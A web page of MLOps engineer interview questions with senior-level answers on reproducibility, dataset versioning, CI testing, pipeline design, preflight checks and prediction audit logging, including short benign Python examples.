Skip to content
Tech Interview Prep

Top 100 MLOps Engineer Interview Questions and Answers

The questions most likely to come up in your MLOps Engineer interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.

Curated: · Written: · Reviewed:

Reviewed 100Review pending 2

102 questions

Q&A-51Why should an ML environment be defined in code?

The 90-second answer

Because the model artifact is not what produces predictions: the model plus its runtime is. A set of weights says nothing about the CUDA version, the tokenizer library, the feature-store client, the concurrency limit on the endpoint, or the IAM role that lets it read the feature table. If those live only in a console, you have a model you can score and an environment you cannot reproduce.

Assumptions I'd state up front: more than one person touches it, more than one environment exists, and the model outlives the person who built it. Under those conditions, "in code" means a declarative spec in version control: compute and image, a locked dependency set, endpoint config, roles, storage, quotas, pipeline definitions: applied by a tool, with changes reviewed like any other diff.

What actually goes in code

  • Image and dependency lock, shared between training and serving, or you get train/serve skew
  • Endpoint config: instance type, autoscaling bounds, concurrency, timeout
  • IAM roles and network rules
  • Storage layout and lifecycle
  • Pipeline/DAG definitions
  • Quotas and budget alarms

Trade-offs, when not to do this

  1. Console plus export. Build by hand, then dump the live config into version control (terraform import, describe-* to JSON). Cheap to start, and it captures reality rather than intent. But the export is a snapshot: it drifts the moment someone clicks again, and it can't be applied to a fresh account without manual fixups.
  2. Managed environment templates. SageMaker Projects, Vertex AI Workbench templates, Databricks Asset Bundles give you a parameterised environment without you owning Terraform state. Good when the provider's opinionated shape fits; bad when you need a resource the template doesn't expose, because you're back to clicking.
  3. Full IaC. Highest fidelity, highest cost: state file management, provider coverage gaps, secrets handling, and a learning curve.

The case against full IaC is real. A single researcher prototyping for two weeks on one account, with no second environment, gets nothing from Terraform and pays the state-file tax. And some resources have no provider support, so you end up hybrid, and the hybrid is where drift hides.

Failure modes and how you detect them

  • Silent drift: someone raises concurrency in the console during an incident and never writes it back. Detect by rebuilding a non-prod environment from the spec on a schedule and diffing against prod.
  • Stale spec: the code says one thing, prod does another, and everyone trusts the code. Same detection.
  • Secrets in state: Terraform state holds plaintext for anything not marked sensitive. Detect with a scanner over the state file, not just the repo.
  • Coverage gap: a resource the provider doesn't manage, so "everything is in code" is false. Detect by listing live resources and checking each against the state.

Worked example (hypothetical figures)

A production endpoint had been hand-edited seven times over four months. Rebuilding it in a second region took nine days of discovery; two settings were found only by comparing behaviour, not config.

SettingIn codeLive in prod
concurrency limit832
request timeout30 s5 s
instance typeml.g5.xlargeml.g5.2xlarge

The concurrency mismatch is the one that bites: at 32 concurrent requests per instance, p99 went from 180 ms to 1.2 s under a load test, and the 5 s timeout started returning 504s that looked like model failures.

Rebuild time: nine days of manual discovery versus a terraform apply that finishes in about 40 minutes once the spec is complete, and the diff is the proof the spec is complete.

How I'd settle it

Rebuild staging from the spec, diff against prod, and require the diff to be empty except for intentional differences such as instance counts and data. If the diff isn't empty, the spec is wrong, not the environment.

Curated: · Written: · Reviewed:

Q&A-72Why record experiments that did not work?

The short answer. A failed run is the only artefact that stops the same idea being tried again. If it isn't recorded, the next engineer starts from zero and the team pays for the same negative result twice. So I log every run, including the ones that go nowhere, with enough context that someone else can tell what was tried and why it stopped.

Assumptions: more than one person runs experiments, runs cost real compute rather than seconds, and there's a shared tracker. If a run is a two-minute notebook cell nobody will ever repeat, the logging overhead can exceed the run itself.

What has to be in the record. "It didn't work" is unfalsifiable on its own. The record needs the parameters, dataset version, code revision, seed, environment, the metric and its value, and an explicit outcome field. The outcome field is the one teams skip, and it's the one that matters: without it, an abandoned run looks identical to a run still in flight, and the search that's supposed to prevent duplication returns nothing.

Log it from the pipeline, not by hand:

import mlflow

with mlflow.start_run():
    mlflow.log_params(config)               # hyperparameters, dataset version, seed
    mlflow.log_metric("val_loss", best_val_loss)
    mlflow.set_tag("outcome", "abandoned")  # or "promoted"
    mlflow.set_tag("reason", "no lift over baseline")

(MLflow 2.x API.) Doing it in the pipeline means the record doesn't depend on whether anyone remembered at 11pm.

Worked example, hypothetical figures. Three engineers tried the same embedding approach over eight months; none of the failures was recorded, so each started from scratch.

AttemptMonthOutcomeGPU-days
1Febabandoned14
2Junabandoned17
3Octabandoned15

That's 46 GPU-days, 14 + 17 + 15. At roughly $2 per GPU-hour it's about $2,200 of compute, plus the engineer time to design and run each attempt. The first run's record would have cost minutes to write.

When heavy tracking isn't worth it. Tracking has real overhead: instrumentation, storage, and the discipline to tag outcomes. I'd skip it for throwaway exploration in a notebook, for one-off debugging of a data pipeline, and for any run cheap enough that re-running it is faster than finding the record. A rough rule: if a run costs more than about 10 minutes of GPU time, or more than one person could plausibly repeat it, log it. Below that the tracker fills with noise, people stop reading it, and that's worse than having no tracker.

Failure modes. The tracker that's written to but never searched: runs are logged, nobody queries before starting, and the duplication continues. The outcome field left null, so abandoned work reads as in-flight. And the opposite failure: logging so much that the tracker is unreadable, so the pre-run search gets skipped.

What I'd actually do. Search the tracker for the approach before starting it, and have the pipeline write every run with an outcome tag. Concretely: a pre-run search, and an outcome tag written by the pipeline rather than by hand.

Curated: · Written: · Reviewed:

Q&A-43How should a training pipeline be split into tasks?

The short answer. Split the pipeline where a step produces an artifact worth keeping and worth validating: validated dataset, transformed features, trained model, evaluation report, registered model version. Each task reads its inputs by immutable identifier, a path or URI carrying a content hash or run ID, writes its output to a new immutable location, and asserts that output before publishing it. Nothing downstream recomputes an upstream step; it reads the artifact. A boundary is only useful if the work before it can be resumed rather than repeated, so the test for placement is: when this task fails, what do I have to redo?

Why that placement, concretely. A single task that ingests, transforms, trains, and registers has to be re-run whole for any failure, including one that happens after the expensive part is finished. In a pipeline I worked on, the monolithic job failed at registration after four hours of training; each retry repeated the whole run, and three retries cost twelve GPU-hours to fix a credentials error.

SplitRetry cost after a late-stage failure
One task (ingest → transform → train → register)4 GPU-hours per retry
Four tasks (dataset, features, train, register)~2 minutes to re-run registration

Those figures are from that run, not a benchmark; the ratio is what generalises. The four-task split also lets you size the machines per stage (CPU nodes for ingest and feature work, GPU nodes only for training) instead of holding a GPU idle while pandas reshapes a table.

The mechanism that makes it work. Identifier-based reads give you idempotent retries: re-running a task with the same inputs produces the same output key, so a retry is safe and a partial failure leaves no half-published artifact. That requires determinism, which is where most pipelines quietly break.

Failure modes and how to catch them.

  • Non-deterministic steps. An unseeded shuffle, a now() in a feature, or Python's per-process hash() randomization makes a retry produce a different artifact, so downstream comparisons drift. Detect it by running the same task twice on the same input and diffing the output hash.
  • Mutable output paths. A task writing to features/latest lets a retry of an old run overwrite the current one. The artifact store should reject a write to an existing key.
  • Partial writes read as complete. A crash mid-write leaves a truncated file that downstream happily loads. Write to a temp key and rename atomically, and have the consumer validate row count and schema.
  • Stale cache keyed only by input. You change the transform, the cached features are reused, and the model trains on the old definition. Key artifacts by input hash, code commit, and config hash together.
  • Hidden coupling. Tasks sharing a mutable global or a database table can't be retried independently. Run each in its own container with only its declared inputs mounted.

Alternatives. You can keep one task and checkpoint inside the training framework, resuming from the last checkpoint. That is cheaper to build and fine when the only expensive stage is training, but it does nothing for a failure in ingest or registration, and the checkpoint format is tied to the framework. Orchestrator-level boundaries cost you a metadata layer and artifact storage, and they are worth it as soon as more than one stage is expensive or more than one person needs to inspect an intermediate result.

How I would settle it. Replay a week of real requests, force a failure at the last stage, and confirm the earlier artifacts are reused rather than recomputed: same hashes as the previous run. If a retry recomputes the training step, the boundary is in the wrong place.

Curated: · Written: · Reviewed:

Q&A-44What do you unit-test in an ML pipeline?

The 90-second answer. Split the pipeline at the model boundary. Everything deterministic: parsing, joins, feature transforms, schema handling, splits, serialisation, the serving contract: is ordinary code and gets ordinary unit tests with small hand-computed fixtures. Model quality is not a unit test; it is an evaluation gate on a frozen held-out set with a threshold and a baseline, run as its own CI stage. The tests that pay for themselves cover timezone and null handling in features, train/serve parity, and leakage.

What actually gets a unit test

  • Feature transforms: one row in, expected vector out, including nulls, empty strings, unseen categories, and boundary timestamps.
  • Train/serve parity: the same raw record through the offline transform and the online one produces an identical vector. Highest-value test in the file, because skew is silent.
  • Splits and leakage: assert train and test entity IDs are disjoint; assert a row's feature value is unchanged when you permute the target column.
  • Serialisation: save the model, load it, assert predictions match the pre-save predictions.
  • Determinism: same seed, same fixture, same metric twice.
  • Contract: a missing or wrong-typed request field returns 4xx, not a 500.

A transform test, traced

# Python 3.12, pandas 2.2
import pandas as pd

def daily_revenue(events: pd.DataFrame) -> pd.DataFrame:
    ts = pd.to_datetime(events["ts"], utc=True)
    return (events.assign(day=ts.dt.floor("D"))
                  .groupby("day", as_index=False)["amount"].sum())

def test_buckets_on_utc_day():
    events = pd.DataFrame({
        "ts": ["2026-03-01T23:40:00Z", "2026-03-02T00:20:00Z"],
        "amount": [10.0, 5.0],
    })
    out = daily_revenue(events)
    assert list(out["day"]) == [pd.Timestamp("2026-03-01", tz="UTC"),
                                pd.Timestamp("2026-03-02", tz="UTC")]
    assert list(out["amount"]) == [10.0, 5.0]

Trace: to_datetime(..., utc=True) yields 2026-03-01 23:40 UTC and 2026-03-02 00:20 UTC. floor("D") truncates them to 2026-03-01 00:00 and 2026-03-02 00:00 UTC. groupby sorts by key, so the rows come out in that order with sums 10.0 and 5.0. Both assertions hold.

The bug this catches is bucketing in local time instead of UTC:

InputExpected day (UTC)Produced if floored in UTC+9
2026-03-01T23:40Z2026-03-012026-03-02

One late-evening event lands in the wrong day, and every downstream daily aggregate is off by one at that boundary.

What is a gate, not a test

CheckWhere it runsFailure signal
AUC / F1 vs baseline on frozen eval setCI stage after trainingmetric below threshold
Training smoke test (50 rows, 2 steps)unit testloss NaN or crash
Feature drift, live vs trainingscheduled jobPSI above 0.2, the usual "significant shift" convention

The smoke test is a unit test because it asserts "runs and produces a finite loss", not "is good". Asserting a specific accuracy in a unit test buys you a flaky suite and a team that deletes the test.

Failure modes and how you'd see them. Target encoding fitted before the split shows up as offline AUC far above online; the permutation test catches it at PR time. Train/serve skew shows up as a feature distribution shift in production; the parity test catches it at PR time. Timezone bucketing shows up as a one-day offset in a daily report; the fixture above catches it. Nondeterminism shows up as "the model got worse" with no code change; the same-seed test catches it.

Don't assert exact float equality on model outputs: use a tolerance. Don't unit-test the model's intelligence; that is the gate's job.

Curated: · Written: · Reviewed:

Q&A-45What runs on a pull request that changes a model pipeline?

The 90-second answer. On a pull request that touches a model pipeline, run everything cheap, deterministic and hermetic, and defer anything that needs a GPU, the full dataset, or more than a few minutes. Concretely: lint and format, type checks, unit tests on the feature transforms, schema and contract tests on the serving interface, and one smoke train on a tiny fixture that proves the pipeline runs end to end and the artifact loads and predicts. Full training and evaluation run on merge or nightly, not on the PR.

CheckRuns onWall timeCatches
lint + format (ruff)PR~5 sdead imports, style churn
type check (mypy / pyright)PR~30 swrong column types, bad signatures
unit tests on transforms (pytest)PR~1 minoff-by-one windows, null handling, train/serve skew
schema + contract test on serving interfacePR~20 srenamed fields, response shape drift
smoke train on fixturePR~90 spipeline wiring, artifact serialization, predict path
full train + evalmerge / nightly30–70 minmodel quality vs baseline

The smoke test is the one people get wrong. It should assert the shape of the contract, not the value of a metric:

# tests/test_smoke_train.py — Python 3.12, pytest 8.2, scikit-learn 1.5
import numpy as np
from sklearn.linear_model import LogisticRegression

def test_pipeline_trains_and_predicts():
    rng = np.random.default_rng(0)
    X = rng.normal(size=(200, 5))              # (200, 5)
    y = (X[:, 0] + X[:, 1] > 0).astype(int)    # (200,)
    model = LogisticRegression(max_iter=1000).fit(X, y)
    assert model.predict(X[:3]).shape == (3,)
    assert model.predict_proba(X[:3]).shape == (3, 2)

Trace: X is (200, 5) and y is (200,) ints, so fit runs; max_iter=1000 is far more than 200 samples over 5 features needs. predict(X[:3]) returns 3 labels, shape (3,). predict_proba(X[:3]) returns 3 rows of 2 class probabilities, shape (3, 2). Both assertions pass. Swap the estimator for your real pipeline and keep the assertions on shapes and on the artifact round-tripping through joblib/torch.save and back.

Why the split. The PR build's job is to return a verdict before the reviewer finishes reading the diff. If it takes longer than the review, people stop waiting and merge on yesterday's green. Determinism matters as much as speed: a GPU train with nondeterministic kernels produces flaky failures, flaky failures get retried, and retried failures get ignored. Do the arithmetic on the antipattern: 70 minutes per commit at 40 commits a day is 46.7 GPU-hours, more than one runner can deliver in 24 hours. You would need two dedicated GPUs just to keep up with PRs, and the queue latency would exceed the training time itself.

Failure modes and how to detect them.

  • Fixture drift. The hand-written fixture stops matching the real schema, so the smoke test passes while production breaks. Generate the fixture from a sampled real batch and assert its schema equals the production schema in the same test.
  • Happy-path-only contract test. Serving breaks on nulls or unseen categories. Add a null and an unknown-category case to the contract test.
  • Metric gate on a small eval slice. Variance on a few hundred rows is wide enough that a real regression passes and noise fails. Use the small slice as a smoke check, not a gate; gate on the nightly full eval.
  • No path filters. A PR that only edits serving code pays for the training smoke test. Filter each job on the paths it actually depends on, and cache the dependency install.

When to deviate. If the dataset is small enough to train in under a couple of minutes, train on the PR: the split exists to keep the build fast, not to keep training off PRs. Regulated models that need an evaluation record per change can require the full eval on the PR, but make it a separate, explicitly triggered job rather than the default blocking build.

Curated: · Written: · Reviewed:

Q&A-16What should stop a training run before it starts?

Before the first training step, I want a preflight stage that runs in under a minute and can abort the job. Assumptions: a scheduled or triggered batch training job, at least one previous successful run to compare against, and a serving path that consumes the same features. If any of those is false (first run, no baseline) the gates degrade to schema-only.

The gates I'd put in front of training, roughly in the order they fire:

GateCatchesDefault action
Schema + typesrenamed or dropped columns, type flipshard fail
Null rate, range, cardinality vs previous runupstream corruption, bad joinshard fail
Row-count boundstruncated extract, duplicated partitionhard fail
Train/serve skewfeature computed differently in the two pathshard fail
Environment + dependency pinunpinned library, CUDA/driver mismatchhard fail
Permissions / data accessrevoked credential, PII scope changehard fail
Budget / quotarun that will exceed the GPU allocationhard fail
Baseline comparisonnew run worse than incumbent on a fixed eval slicewarn, then block on promotion

The last row is the one people forget: a run can pass every input check and still be a regression. Compare against the incumbent on a frozen eval slice before spending the full training budget: a 5-minute eval on 10k rows is cheap insurance against a 6-hour run.

Trade-offs. Hard-fail is right when the input is wrong and the run is expensive or the output is user-facing. It's wrong when the shift is intentional: a new market, a deliberate backfill, a research run exploring a different distribution. There, quarantine the dataset and let the run proceed behind a flag, so the gate doesn't become a wall the team routes around. Warn thresholds are the middle ground: a null rate 1.5x baseline is worth a Slack message, 150x is worth a page. And auto-rollback of the upstream change is often better than failing the training run: if a currency column went null, the fix belongs in the pipeline that produced it, not in a retry of training.

Failure modes and detection: the gate itself rots. Bounds set once and never updated drift out of relevance, and a gate that fires every day gets muted. Track fire rate and false-positive rate per gate, and review bounds quarterly against the last N runs.

def preflight(df, spec, budget_left):
    fails = []
    for col, r in spec.items():
        nr = df[col].isna().mean()
        if nr > r["max_null"]:
            fails.append(f"{col} null {nr:.1%} > {r['max_null']:.1%}")
        if "min" in r and df[col].min() < r["min"]:
            fails.append(f"{col} min {df[col].min()} < {r['min']}")
    if budget_left < 0:
        fails.append("budget exhausted")
    return fails

With spec = {"currency": {"max_null": 0.02}, "amount": {"max_null": 0.01, "min": 0.0}}, a frame where currency is 30.4% null and amount's minimum is -5.0, and budget_left = 120, the loop appends currency null 30.4% > 2.0% (no min key, so that branch is skipped), then for amount the null check passes and the min check appends amount min -5.0 < 0.0; the budget check is skipped; the function returns both strings. A non-empty return means the job never starts.

Curated: · Written: · Reviewed:

Q&A-7Your training set is defined by a SQL query. What is wrong with that?

What a strong candidate says first

A query is a recipe, not a dataset. SELECT ... FROM events WHERE ds BETWEEN ... against mutable tables defines a different dataset every time it runs. Two runs of the same pipeline train on different rows, and nothing in the model artefact records that. The fix is to make the training set a named, immutable object (a snapshot ID, a table version, a manifest path) and put that identifier in lineage instead of the SQL text.

The alternatives, and when each is the right one

  • Snapshot-on-write table formats (Iceberg, Delta, Hudi). If training data already lands in one of these, every write produces a snapshot or version you can pin: SELECT * FROM features VERSION AS OF 4829134. Cheapest option when it applies. The trap is retention: expire_snapshots / VACUUM will delete the snapshot your model trained on unless you exclude it. Pin the ID and keep the snapshot alive for as long as the model is in production.
  • Point-in-time joins and warehouse time travel. BigQuery FOR SYSTEM_TIME AS OF, Snowflake Time Travel, Postgres system-versioned tables. These are the right tool for a different problem (leakage, computing a feature as of the label timestamp) and they double as reproducibility only if the window covers you. It usually doesn't: BigQuery's default time-travel window is 7 days, Snowflake's is 1 day on Standard (up to 90 on Enterprise). A model retrained next quarter can't be reproduced from either.
  • A feature store with point-in-time retrieval (Feast, Tecton, Databricks Feature Store). Solves train/serve skew and leakage in one place and gives you a versioned feature view. Cost is a second system to operate and keep in sync with the warehouse; overkill for one model, worth it once several teams share features.
  • Full materialisation to a versioned, immutable path. What I'd default to for a training set that has to be reproducible for years. Costs: storage, write time, and staleness. The snapshot is frozen, so a late backfill doesn't reach it until you cut a new one. A 1.2M-row, 200-column float table is roughly 2 GB per snapshot; weekly snapshots for a year is ~100 GB, cheap next to a week of debugging a phantom regression.

The failure this prevents

Two runs of the same pipeline a day apart trained on sets differing by 60,000 rows because a late-arriving backfill landed between them. The 0.008 AUC difference was attributed to a hyperparameter change and cost two days. Illustrative numbers, real shape:

RunRowsContent hashVal AUC
Tue1,204,3383f9a0.883
Wed1,264,401c17e0.891

Detection

Record row count and content hash with every training set, and assert they match when a run is repeated. A mismatch means the dataset moved, not the model. That assertion is the whole point: without it, "same query" is an assumption, not a fact.

Curated: · Written: · Reviewed:

Q&A-88You version datasets with content hashes. What still goes wrong?

A content hash answers one question: are these bytes the same as those bytes? It does not answer whether the data is correct, whether it came from the source you think, or whether the pipeline that produced it is reproducible. Teams that treat the hash as a versioning system get four classes of failure.

1. The hash covers bytes, not semantics. Re-shuffling rows, re-partitioning files, or re-compressing changes the hash without changing the data. A label remap that flips the meaning of class 0 and class 1 can leave the hash unchanged if labels live in a sidecar file you didn't hash. You get a new version number for an identical dataset and an identical version number for a semantically different one.

2. The hash is of a mutable pointer. Hashing s3://bucket/latest/ or a symlink records the pointer, not the object. The object changes, the hash doesn't. This is the most common production bug: a training job logs a hash, the upstream job overwrites the path, and the hash now refers to data that no longer exists.

3. Non-deterministic serialization. Parquet embeds the writer version, timestamps, and row-group ordering. Two logically identical datasets written by different Spark versions hash differently. You can't dedupe, and you can't tell whether a hash change is a real data change or a library upgrade.

4. The hash doesn't record the pipeline. You know the bytes, not the code, config, seed, or upstream snapshot that produced them. When the transform changes, the hash changes, but you have no way to reproduce the old bytes without the old code.

Consider a corrupted extract: a bad join produced a dataset that was hashed, versioned, and reproduced faithfully for four months. Six models trained on it were consistent and wrong. The hash did its job, it proved the data was the same every time, and that was exactly the problem.

What a content hash records vs. what it misses:

PropertyContent hashManifest hash (file checksums + schema version)
Byte identityyesyes, if manifest is complete
Schemanoyes
Null rates / rangesnono
Pipeline code + confignono
Immutability of sourcenono

The trade-off is where you validate. Ingest-time validation blocks bad data before it lands, but it costs latency and can be bypassed by backfills that write directly to the table. Train-time validation is the last gate, but it wastes compute on data you'll reject and gets skipped under deadline pressure. A hash-of-manifest design is cheap, you hash a list of file checksums and a schema version, but it's only as good as the manifest. A manifest that uses mtimes or omits files is worse than no hash, because it gives false confidence.

The prescription, attach validation results to the version and refuse to train without them, is right for production training sets and wrong for exploratory work, where the overhead isn't worth it. For streaming features you can't hash the whole dataset; you hash the feature definition plus a time window. For very large datasets, full content hashing is impractical, so you accept a Merkle tree over file checksums and know you're hashing the manifest, not the bytes.

A minimal manifest hash that includes what a content hash misses:

import hashlib, json

def manifest_hash(files, schema_version, pipeline_commit):
    entries = []
    for f in sorted(files):
        h = hashlib.sha256()
        with open(f, "rb") as fh:
            for chunk in iter(lambda: fh.read(1 << 20), b""):
                h.update(chunk)
        entries.append({"path": f, "sha256": h.hexdigest()})
    manifest = {
        "files": entries,
        "schema_version": schema_version,
        "pipeline_commit": pipeline_commit,
    }
    return hashlib.sha256(json.dumps(manifest, sort_keys=True).encode()).hexdigest()

This still doesn't validate the data. It records what the data was and which code produced it. Validation is a separate gate: schema, ranges, volumes, invariants, with results stored alongside the version.

Curated: · Written: · Reviewed:

Q&A-2A model has been serving for six months. What do you need to rebuild it exactly?

What a strong candidate says in the first two minutes

"Exactly" needs pinning down before the list. Do you need bitwise-identical predictions, or a model that is statistically indistinguishable and passes the same eval gates? The first is only achievable if everything was captured at training time; the second is what most teams actually need and costs far less. I'd assume the strict reading for a model whose output is hard to reverse (pricing, credit, safety) and the loose one for a model sitting behind a fallback.

Assuming strict, the rebuild needs: the code revision, the data snapshot (not the query that produced it), the feature transformation version, the dependency lock, the runtime image, the hyperparameters, the seeds, and the determinism settings that decide whether the same seed reproduces the same weights. Write all of them into the registry entry at registration time, as part of the artifact record, not into the training job's logs, which are retained for weeks while models serve for years.

Where the trade-off sits

Full pinning is not free, and pretending otherwise is the usual mistake. Snapshotting a 2 TB training table at roughly $0.023/GB-month is about $47/month per snapshot, kept for the model's life; ten training runs a week is ~$2k/month in storage alone, before the pipeline work to make snapshots addressable. So teams tier it by blast radius:

  • High (pricing, credit, safety): snapshot the data, pin everything, retain the record as long as the model serves.
  • Medium (ranking, recommendations with a fallback): pin code, lock, image, hyperparameters, seeds; keep the query plus a row-count and distribution hash, so you can detect drift even when you cannot reconstruct exactly.
  • Low (internal experiments, models retrained weekly): the retrain is the reproduction. Pinning a snapshot buys nothing because the next run supersedes it.

The failure mode when you skip it

A query against a mutable table. Worked example, figures hypothetical: a model serving 14 months, rebuilt from its recorded query, differed by 4% of rows and disagreed with the deployed model on 1 in 30 predictions. Enough to fail a shadow comparison, not enough to show up in aggregate metrics. Detection is a scheduled shadow rebuild that compares predictions on a frozen eval set and alerts on disagreement rate, not on loss.

ElementPinsCost to pinSafe to skip when
git commitcode revision~freenever
dataset snapshot idexact rowsstorage per rundata is append-only and immutable
feature transform versionrow semantics~freenever
dependency locklibrary versions~freenever
runtime image digestOS, CUDA, driversimage registrynever
hyperparameterstraining config~freenever
seeds + determinism flagsweight init, shuffling~freenever

How I'd prove it

Rebuild a promoted model from its registry record alone, on a clean machine, and compare predictions against the deployed artifact on a frozen eval set. Expect 100% agreement for a deterministic CPU pipeline; with GPU nondeterminism in play, set the bar at ≥99.9% and treat anything below as a broken record, not a rounding error. Reproducibility is proved by rebuilding, not by intending to.

Curated: · Written: · Reviewed:

Q&A-8The model file is unchanged but predictions moved. What could have happened?

What a strong candidate says first

Same weights, same request, different output means something outside the model file changed. The file is one input; a prediction is a function of weights, preprocessing, runtime kernels, decoding config, and the request itself. So the first move is to establish which of those moved, not to assume the model.

Ask three things: is the input identical (same token IDs)? Is the output identical under a fixed seed? Did the serving image, driver, or dependency lock change?

Candidate causes, roughly in the order they bite

  1. Preprocessing / tokenizer drift. A tokenizers or sentencepiece upgrade, a changed truncation or padding default, a normalization flag, or a different max length changes the token IDs the model sees. Weights identical, model input not.
  2. Runtime nondeterminism. Different GPU or driver, cuDNN autotuning selecting a different algorithm, TF32 toggles (in PyTorch, torch.backends.cudnn.allow_tf32 defaults to True while torch.backends.cuda.matmul.allow_tf32 defaults to False), or a different batch composition: padding and reduction order move logits at the 1e-3 level, which flips argmax near ties.
  3. Decoding config. Temperature, top-p, max tokens, stop sequences, or the sampler seed living in a config file or env var rather than the artifact.
  4. Postprocessing. A threshold, calibration map, or label-index remap changed.
  5. Input distribution. The requests themselves shifted: a new client, a new locale, longer prompts.
  6. Load-time conversion. fp16 vs bf16, a different quantization recipe, fused kernels.

Worked trace

Replay a frozen request set through both deployments and diff. Example:

ComponentBeforeAfter
model digesta91ca91c
image digest55b190ff
tokenizer lib0.15.20.20.1
outputs differing—4.1%

4.1% differing with identical weights points at preprocessing or kernels, not the model. A 100% diff on a sampled model points at decoding config. A 0% diff on greedy decoding points at a replay set that is too small or served from cache.

Trade-offs

Bitwise-identical replay is the right gate for deterministic, greedy, classification-style serving. It is the wrong gate for a sampled generative model: two runs of the same weights differ by design, so a zero-diff requirement either blocks every deploy or gets switched off. There, compare distributions: top-1 agreement rate and KL divergence between logit distributions on a fixed prompt set, and canary with output-diff monitoring instead of hard gating. Hard gating is also overkill for a pure infra bump you can shadow-test against live traffic.

Failure modes

  • Replay set too small or unrepresentative: 200 prompts from one locale miss the shift.
  • Response cache masking the change: you diff cache hits, not the new stack.
  • Threshold set to zero on a sampled model: alert fatigue, then the gate is ignored.
  • Diffing only final text: a tokenizer change that alters logits but not argmax on your sample passes.

Detect all four by logging token IDs and logits alongside the response, so a preprocessing change is visible without a full replay.

Curated: · Written: · Reviewed:

Q&A-3You rebuild a model from its recorded inputs and the weights differ. Is that a failure?

No, not by itself. Weights differing after a rebuild from recorded inputs is the normal outcome on most stacks. Whether it is a failure depends on which claim the pipeline makes, and "reproducible" is three claims with three different costs. Treating byte equality as the default and everything else as a bug is the mistake.

What I'd say in the first two minutes

Clarify what "recorded inputs" pins down: data, sample order, seed, code revision, and library versions. If the CUDA, cuDNN and framework versions aren't in the record, the inputs aren't recorded. Then state the claim the pipeline actually supports (byte equality, metric equivalence within a tolerance, or documented inputs) and test that one. A rebuild whose weights differ but whose metrics land inside the tolerance is a pass. A rebuild that matches bytes but was never evaluated is not evidence of anything.

Why the weights move

Float addition is not associative, and a parallel reduction splits the sum across threads and blocks, so the order depends on how many workers you have. Same three float32 values, two orders:

  • 1e8 + 1.0 → 1e8 (spacing at 1e8 is 8, so +1 rounds away), then 1e8 - 1e8 → 0.0
  • 1e8 - 1e8 → 0.0, then 0.0 + 1.0 → 1.0

Same numbers, same precision, different answer. That is the whole mechanism behind "changed the worker count, changed the weights." On top of it sit cuDNN autotuning picking different kernels per run, atomic reductions, TF32 toggles (torch.backends.cuda.matmul.allow_tf32, torch.backends.cudnn.allow_tf32), and RNG stream ordering.

If you do want byte equality, this is the price (PyTorch 2.x, CUDA 12.x):

import os, torch
os.environ["CUBLAS_WORKSPACE_CONFIG"] = ":4096:8"  # must be set before CUDA init
torch.use_deterministic_algorithms(True)           # raises on ops with no deterministic kernel
torch.backends.cudnn.benchmark = False             # autotuning varies kernels run to run
torch.backends.cudnn.deterministic = True
torch.manual_seed(0); torch.cuda.manual_seed_all(0)

Even then, equality holds on the same GPU model and driver, not across them.

The three claims

ClaimCatchesMissesCost
byte-identical weightsany change in order, kernel or librarynothing about qualityhigh: pinned versions, deterministic kernels, single worker, slower
metrics within tolerance on a frozen setreal quality regressionschanges that don't move the metricmoderate
inputs and versions recordednothing automaticallyeverything until someone re-runslow

Failure modes

  • Tolerance fitted to the result. Picking 0.005 AUC because the observed diff was 0.002 makes the test unfalsifiable. Derive it from the metric's own run-to-run spread: run the same config five times, take the range.
  • A determinism claim that silently breaks. use_deterministic_algorithms(True) raises on unsupported ops; wrapping it in try/except turns the claim into a lie that only surfaces at audit time.
  • Version drift. A record without CUDA, cuDNN and framework versions cannot be replayed, so the "documented inputs" claim is false the moment the base image moves.

Pick the tolerance from the metric's spread, not from the diff you just saw, and put the claim in CI so a violation fails loudly instead of becoming an argument.

Curated: · Written: · Reviewed:

Q&A-4An auditor asks which model produced a prediction made in March. How do you answer?

My answer to logging the resolved model version with each prediction begins with the contract between training and serving.

An alias such as champion is a mutable pointer, so it identifies a model only at the instant it is read. The prediction log has to carry the resolved version and artifact digest, because the pointer will have moved by the time anyone asks.

Concretely, resolve the alias once at load time, attach the version and digest to every prediction record along with the serving image tag, and treat a prediction written without them as an incomplete record rather than as a smaller one.

The reason for that specificity is a failure I have seen: A dispute over a March decline required identifying the model; the logs held only the alias, which had pointed to three versions that month, and the investigation could not say which weights ran.

What the alias hid.

WindowAliasActual version
Mar 1-9championv31
Mar 10-18championv33
Mar 19-31championv34

I would not consider it settled without evidence: Query a prediction from a past incident and confirm the log names an immutable version and digest, not an alias.

An alias records intent; a digest records what ran.

Curated: · Written: · Reviewed:

Q&A-59An auditor wants the exact prediction made on 3 February reproduced. What do you need?

The 60-second answer. Three things, and the model is only one of them: the exact input vector as it was served, the exact artifact that scored it, and the exact post-processing that turned the score into the decision. If any of the three is reconstructed rather than retrieved, you are answering a different question. The most common audit failure is recomputing features from today's data: the model is fine, the input moved.

What has to be logged at decision time. One decision record per prediction:

{
  "request_id": "d7f1c9...",
  "decided_at": "2025-02-03T14:22:07.913Z",
  "entity_id": "acct_88213",
  "model_version": "fraud-gbm@2025-01-28T09:14Z#sha256:9c1e...",
  "serving_image": "registry/fraud-serve@sha256:4b02...",
  "feature_vector": {"txn_count_24h": 3, "amt_zscore_30d": 2.14, "...": "..."},
  "feature_snapshot_ref": "s3://fs-offline/acct_88213/2025-02-03T14:22:00Z",
  "score": 0.62,
  "threshold": 0.55,
  "decision": "review",
  "fallback": false
}

The model_version must be an immutable artifact digest, not a mutable label like fraud-gbm:prod. A version string that gets overwritten in place is the second most common failure, and it is invisible until an auditor asks.

Reproduction procedure. Replay the logged vector through the pinned artifact in a pinned environment, then compare.

  1. Load fraud-gbm@...#sha256:9c1e... and verify the digest matches.
  2. Feed feature_vector verbatim, single-row batch, same precision as serving.
  3. Score → 0.62. Compare to the logged 0.62. Delta 0.00.
  4. Apply the logged threshold 0.55 → review. Matches the logged decision.

If step 3 returns 0.6198 instead of 0.62, that is float non-determinism, not a bug: define the tolerance up front (for example |Δ| ≤ 1e-6 for float32) and state it in the audit response rather than chasing a bit-exact match you cannot promise.

Failure modes and how they show up.

FailureSymptom in reproductionFix
Features recomputed from current datascore differs, model identicallog the vector or a point-in-time snapshot ref
Mutable model versionsame version string, different weightscontent-addressed artifact digests
Unpinned runtimesmall float deltas, occasionally largepin image digest and framework version; deterministic kernels
Batch-dependent scoringsingle-row replay ≠ batch scorelog batch composition, or score per row
Time-dependent features"days since X" differs at replaycompute at serve time, log the value
Fallback servedlogged score is a default, not the modellog fallback: true and the reason

